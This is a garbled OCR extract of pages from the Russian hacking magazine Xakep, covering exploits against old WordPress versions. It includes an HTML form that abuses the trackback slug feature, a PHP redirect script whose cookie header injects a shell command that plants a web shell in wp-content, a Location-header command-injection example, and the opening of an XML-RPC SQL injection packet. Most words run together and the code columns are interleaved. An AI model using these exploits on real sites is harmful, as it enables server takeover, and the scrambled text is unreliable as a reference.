 

 

 

 

 

 

 

 

wp233/2009/03/20/hello-world. Тыхочешь

 

return $id;

 

Изанализавышеприведенногокодаследует

насолить/подшутитьнададминомисделать

 

}

 

вывод: есливБДдляопределенногопоста

 

так, чтобыэтотпостимелещеиадресвроде

 

function wp_update_comment_count

 

присутствуетзначение«_wp_old_slug», то

 

http://lamer/wp233/2009/03/20/this-is-a-

 

($post_id, $do_deferred=false)

 

понемупроводитсяредиректнанастоящий

 

sucker-post.

 

{

 

адреспоста. Чтобыдобавитьэтозначение,

Разработчикивордпрессасрадостьюпредо-

 

...

 

твойкомментарийдолженбытьзааппрувлен.

 

ставляюттебетакуювозможность! Ночтоэто:

 

elseif ( $post_id ) {

 

Какоставлятькомментариибезпроверки

 

багилифича— янезнаю:).

 

return wp_update_comment_count_

 

модератора, тыужезнаешьпопервойчасти

 

Дляначаладетальноразбереммеханизм

 

now($post_id);

 

статьи:). Теперь, наконец-то, готовыйэксплойт

 

постингакомментариявпоследнейнамомент

 

}

 

длянашейшутки:

 

написаниястатьиверсии2.7.1.

 

}

 

 

 

 

1. Файлик wp-comments-post.php (а

 

function wp_update_comment_count_

 

 

<html>

 

также wp-trackback.php), через который

 

now($post_id)

 

 

<form action="http://lamer.com/

 

проходят все комментарии имеет в себе

 

{

 

 

wp/wp-trackback.php?p=[ID_ПОСТА]"

 

 

следующий код:

 

...

 

 

method="post">

 

 

 

 

 

do_action('edit_post', $post_id,

 

 

Тайтл: <input name="title"

 

 

 

$commentdata = compact('comment_

 

$post);

 

 

value="commenter"/><br/>

 

 

 

post_ID', 'comment_author',

 

return true;

 

 

URL:<input name="url"

 

 

 

'comment_author_email', 'comment_

 

}

 

 

value="http://%/la.com"/><br/>

 

 

 

author_url', 'comment_content',

 

 

 

 

Comment:<input name="excerpt"

 

 

4. Action edit_post определенв./wp-includes/

 

 

'comment_type', 'comment_parent',

 

 

value=""/><br/>

 

 

 

'user_ID');

default-filters.php:

 

 

Slug:<input name="wp-old-slug"

 

 

 

$comment_id = wp_new_comment(

 

 

 

 

value=""/><br/>

 

 

 

$commentdata );

 

add_action('edit_post',

 

 

<input name="blog_name"

 

 

 

 

 

'wp_check_for_changed_slugs');

 

 

value="Blog" /><br/>

 

2.Этуфункциюмыможемлегкоотыскатьв./

 

 

 

 

<input type="submit" value="ok"/>

 

 

 

 

wp-includes/comment.php:

5.Находимнужнуюнамфункциюв./wp-

 

 

</form>

 

 

 

 

includes/post.php:

 

 

</html>

 

 

 

function wp_new_comment

 

 

 

 

 

 

 

 

 

 

Вполе«Slug» вставляйновоеимядляпод-

 

 

($commentdata)

 

function wp_check_for_changed_

 

 

{

 

slugs($post_id) {

 

ходящегопостаипоказывайссылкуадмину,

 

...

 

if ( !isset($_POST['wp-old-slug'])

 

наблюдаязаегореакцией.

 

 

 

 

|| !strlen($_POST['wp-old-slug']) )

 

 

НЕБЕЗОПАСНЫЙSNOOPY

 

 

$comment_ID =

 

...

 

 

 

 

 

 

 

 

 

 

 

 

 

 

wp_insert_comment($commentdata);

 

 

 

Насталовремясделатьещеодинреверансв

 

...

 

// if we haven't added this old slug

 

сторонупредыдущейстатьи. Какты, навер-

 

}

 

before, add it now

 

ное, помнишь, WordPress 2.5.x-2.6.x позволял

 

 

 

 

if ( !count($old_slugs) || !in_

 

любомузарегистрированномупользователюс

 

 

 

3. Тамжепроводимнебольшойреверсинг:

 

array($_POST['wp-old-slug'], $old_

 

легкостьюподменятьRSS-фидывDashboard.

 

 

 

 

 

 

 

 

 

XÀÊÅÐ 05 /125/ 09

067

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

w Click

to

 

 

 

взлом

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

АРХИВРЕЛИЗОВВОРДПРЕССА

PINGBACK-КОММЕНТАРИЙ

Раскопавэтотзамечательныйбагнемногоглубже, мыслегкостью сможемдобитьсявыполненияпроизвольногокоданасервере, где установленблог. Итак, вспомнимобобнаруженнойзабугорнымикодокопателямиcode exec уязвимостивклассеSnoopy, которыйприсутствует такжеиввордпрессе. СамауязвимостьввордпрессовскомSnoopy была пропатченаспомощьюescapeshellcmd ещев1.5.x ветке, но, темне менее, разработчикивзялиииспортиливполнеработоспособныйкод непонятнымпатчемвверсии2.6.3.

Ядогадываюсь, чемонидумали, смотрянапостдевблогастакими словами:

A vulnerability in the Snoopy library was announced today. WordPress uses Snoopy to fetch the feeds shown in the Dashboard. Although this seems to be a low risk vulnerability for WordPress users, we wanted to get an update out immediately.

АтакжеприсравнениикодаSnoopy изWordPress <= 2.6.2:

exec(escapeshellcmd($this->curl_path." -D \"$headerfile\"".$cmdline_params." \"".$safer_ URI."\""),$results,$return);

— скодомSnoopy изWordPress <= 2.6.5:

exec($this->curl_path." -k -D \"$headerfile\"".$cmdline_params." \"".escapeshellcmd( $URI)."\"",$results,$return);

Второйкод— этоофициальныйпатчразработчиковSnoopy, который закрываетпредыдущийcode exec (нонезакрываетновый). Забавно, не правдали? Зачемпатчитьто, чтоитакбылонеплохопропатчено? Ответы наэтивопросымыврядлиузнаем.

Такаяхалатностьразработчиковоткрыламнепутькзамечательной уязвимости. Нообовсемпопорядку.

1.СпособомизпервойчастистатьиредактируйлюбуюRSS-лентуна главнойстраницеадминки, причемадресставьнасвойхитрыйскрипт,

например, http://lamer.com/code-exec.php;

2.Скриптcode-exec.php долженсодержатьследующийкод:

<?php

header('set-cookie: `echo \'<?php system($_GET[aa]); ?>\' > ../wp-content/test.php`=cooka'); header("Location: https://chto-ugodno. com/?feed=rss2");

?>

Послесовершенияэтихдействийнанужныйблогв./wp-content/test.php зальетсяшелл. Теперьразберем, гдеипочемуэтовозможно:

1.ТольконаWordPress 2.6.3, 2.6.5 (2.6.4 простонебыло, ав2.7 Snoopy уже практическинеиспользуется) соткрытойрегистрацией, необходимой дляредактированиярсс-фидов;

ЭКСПЛОЙТRAZ0R'АДЛЯSNOOPY

2. Тольконасистемах, гдеcurl установленв/usr/local/bin/curl (наиболее распространеннаясистемастакимконфигом— FreeBSD), таккакэтотса- мыйпресловутыйпутьжесткопрописанв./wp-includes/class-snoopy.php, плюсбинарниккурлапроверяетсянасуществованиеиисполнимость:

if(!$this->curl_path) return false;

if(function_exists("is_executable")) if (!is_executable($this->curl_path)) return false;

3.Этоработает, потомучтоSnoopy поддерживаетпереадресацию(до5 разподефолту). Вовремянееонможетустановитькукисыидругиехэдеры, которыепошлетсерверныйскрипт. Какможнопонятьизпсевдопатча, надфильтрациейхэдеровприпередачеихвexec() никто, конечноже, незадумывался.

068

XÀÊÅÐ 05 /125/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

>>

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

взломw

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

o

m

 

w

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

PINGBACK-ОТВЕТГОВОРИТНАМ, ЧТОЕСТЬТАКОЙФАЙЛВСИСТЕМЕ

4.Этоработаетнетольковкукисах, ноивомногихдругих заголовках. Например, мысможемпередатьпроизвольный кодвзаголовкеHOST следующимобразом:

<?php

header("Location: https://lal`my evil command`.com");

?>

ХИТРЫЙUPLOAD

Наочереди— замечательнаяSQL-инъекция, обнаруженнаятоварищемЭлектомбольшегоданазадвовсех вордпрессахверсий2.2.x-2.3.x. Дляееиспользования юзердолженобладатьправами«upload_files» (тоесть, роль Автора/Редактора). РассмотримисходныйкодинтерфейсадляудаленнойпубликациивWordPress — xmlrpc.php (да-да, именновэтомфайлебылообнаруженонаибольшее числоSQL-инъекцийдвижка). Винтерфейсеприсутствует методmetaWeblog.newMediaObject, являющийсяпрямой отсылкойкфункцииmw_newMediaObject. Проведемнебольшойреверсинг:

1. ./xmlrpc.php

function mw_newMediaObject($args)

{

...

$blog_ID = (int) $args[0];

$user_login = $wpdb->escape($args[1]);

$user_pass = $wpdb->escape($args[2]); $data = $args[3];

...

$name = sanitize_file_name( $data['name'] ); $type = $data['type'];

$bits = $data['bits'];

...

$attachment = array( 'post_title' => $name, 'post_content' => '', 'post_type' => 'attachment', 'post_parent' => $post_id, 'post_mime_type' => $type, 'guid' => $upload[ 'url' ]

);

// Save the data

$id = wp_insert_attachment( $attachment, $upload[ 'file' ], $post_id );

...

}

 

 

HTTP://WWW

 

 

 

 

 

 

 

 

links

 

secunia.com/

SECURITY-ТИКЕТЫВОРДПРЕССА

Advisories/32361

advisory назнамена-

 

тельнуюдыру

 

вSnoopy.

2. ./wp-includes/post.php

core.trac.wordpress.

function wp_insert_attachment($object,

org — историявсех

$file = false, $parent = 0)

баговвордпресса.

{

wordpress.org/

 

download — скачать

...

последнююверсию

 

WordPress.

$object = wp_parse_args($object, $defaults);

wordpress.org/

extract($object, EXTR_SKIP);

development/2008/10/

 

wordpress-263 — пост

...

девблога, посвя-

 

щенныйвыходу2.6.3

if ($update) {

версииWordPress.

$wpdb->query(

withdk.com/archives

"UPDATE $wpdb->posts SET

/Libcurl_arbitrary_

post_author = '$post_author',

file_access.pdf

post_date = '$post_date',

уязвимость

post_date_gmt = '$post_date_gmt',

редиректавcurl.

post_content = '$post_content',

 

 

 

 

post_content_filtered =

 

 

 

 

'$post_content_filtered',

 

 

 

 

post_title = '$post_title',

 

 

 

 

post_excerpt = '$post_excerpt',

 

 

 

 

post_status = '$post_status',

 

 

 

 

post_type = '$post_type',

 

 

 

 

comment_status = '$comment_status',

 

 

 

 

ping_status = '$ping_status',

 

 

 

 

post_password = '$post_password',

 

post_name = '$post_name',

 

to_ping = '$to_ping',

 

pinged = '$pinged',

 

post_modified =

 

 

INFO

'".current_time('mysql')."',

 

post_modified_gmt =

 

'".current_time('mysql',1)."',

 

post_parent = '$post_parent',

info

menu_order = '$menu_order',

• СпасибоRaz0r

post_mime_type = '$post_mime_type',

занаписаниеcode

guid = '$guid'

exec эксплойтадля

WHERE ID = $post_ID");

WordPress 2.6.x, атак-

}

жеElekt запредостав-

...

ленныеуязвимости.

}

 

Проследиввесьпутьпеременной$type, тыпоймешь, что никтонепозаботилсяоеефильтрациипередвставкойв SQL-запрос:). Поэтомумылегкосможемпроинжектить UPDATE-запрос, например, пославтакойPOST-пакетк xmlrpc.php:

<?xml version="1.0" encoding="UTF-7- "?><methodCall> <methodName>wp.uploadFile</methodName>

XÀÊÅÐ 05 /125/ 09

069

Соседние файлы в папке журнал хакер